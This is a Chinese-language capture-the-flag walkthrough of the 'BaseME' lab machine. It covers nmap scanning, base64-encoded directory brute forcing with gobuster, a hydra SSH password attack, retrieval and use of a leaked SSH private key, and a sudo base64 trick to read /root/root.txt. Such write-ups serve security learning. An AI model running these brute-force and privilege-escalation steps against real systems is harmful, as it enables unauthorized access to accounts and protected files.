红队专项·BaseME
字数 1185 2025-08-10 20:35:54
BaseME 渗透测试实战教学文档
1. 信息收集阶段
1.1 网络扫描
使用nmap进行初始扫描:
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
发现目标主机192.168.56.102开放了两个端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
1.2 详细服务扫描
对开放端口进行更详细的扫描:
nmap -sT -sV -sC -A -p22,80 192.168.56.102
扫描结果:
- SSH服务:OpenSSH 7.9p1 Debian 10+deb10u2
- HTTP服务:nginx 1.14.2
2. HTTP服务渗透
2.1 目录枚举
使用dirsearch进行目录扫描:
dirsearch -u http://192.168.56.102/
结果仅发现/index.html,无其他有用信息。
2.2 Web应用指纹识别
使用whatweb识别web技术:
whatweb http://192.168.56.102/
结果显示nginx/1.14.2,无其他明显特征。
2.3 页面分析
访问web主页发现base64编码的提示信息:
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK
解码后得到:
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
2.4 源码分析
查看页面源码发现注释:
<!--iloveyouyouloveyoushelovesyouhelovesyouweloveyoutheyhatesme-->
3. 密码爆破策略
3.1 准备用户和密码列表
创建用户列表(user.txt)和密码列表(pass.txt),内容相同:
lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
3.2 Base64编码脚本
创建enbase.sh脚本对密码进行base64编码:
#!/bin/bash
while IFS= read -r linea
do
echo $linea | base64 >> $2
done < $1
执行编码:
./enbase.sh pass.txt enpass.txt
3.3 SSH爆破尝试
使用hydra进行SSH爆破:
hydra -L ./user.txt -P ./enpass.txt ssh://192.168.56.102
4. 突破点:Base64编码目录爆破
4.1 准备字典
对常见目录字典进行base64编码:
./enbase.sh /usr/share/wordlists/dirb/common.txt dict.txt
4.2 目录扫描
使用gobuster进行目录扫描:
gobuster dir -u http://192.168.56.102/ -w ./dict.txt
发现两个base64编码的路径:
- aWRfcnNhCg== (Status: 200)
- cm9ib3RzLnR4dAo= (Status: 200)
解码后:
- id_rsa (SSH私钥文件)
- robots.txt
5. SSH私钥利用
5.1 获取私钥
解码并保存私钥:
echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRBZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNYdkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpKRXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJNE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JPNDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJYd3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZjMUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1czaW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUtoVWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpKZ25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhyUURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3BzUWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlEeDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNHUkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRXTHZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZkeUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VKbEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1oryssKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRlazZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0NoMgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tlYmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3RqT1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1UQ0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8rNjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==" | base64 -d
保存为id_rsa文件并设置权限:
chmod 600 id_rsa
5.2 SSH登录尝试
使用私钥登录:
ssh -i id_rsa lucas@192.168.56.102
系统提示需要私钥密码,尝试使用base64编码后的密码:
lucas:aWxvdmV5b3UK
成功登录后查看flag:
cat flag
6. 权限提升
6.1 检查sudo权限
sudo -l
6.2 利用base64读取root flag
发现可以使用/usr/bin/base64命令,利用它读取root.txt:
sudo /usr/bin/base64 /root/root.txt | base64 -d
7. 关键知识点总结
-
信息收集:nmap扫描是渗透测试的第一步,需要全面了解目标系统开放的服务和版本信息。
-
Base64编码线索:渗透测试中经常遇到编码信息,需要培养识别和利用编码信息的能力。
-
目录爆破创新:当常规方法无效时,尝试对字典进行编码后再爆破可能获得意外收获。
-
SSH私钥利用:获取私钥后需要正确设置权限(600)并尝试可能的密码。
-
权限提升技巧:检查sudo权限时,即使受限的命令也可能被利用来读取敏感文件。
-
自动化脚本:编写简单的bash脚本可以大大提高工作效率,如批量编码密码。
-
思维灵活性:当一种攻击路径受阻时,及时转换思路尝试其他方法。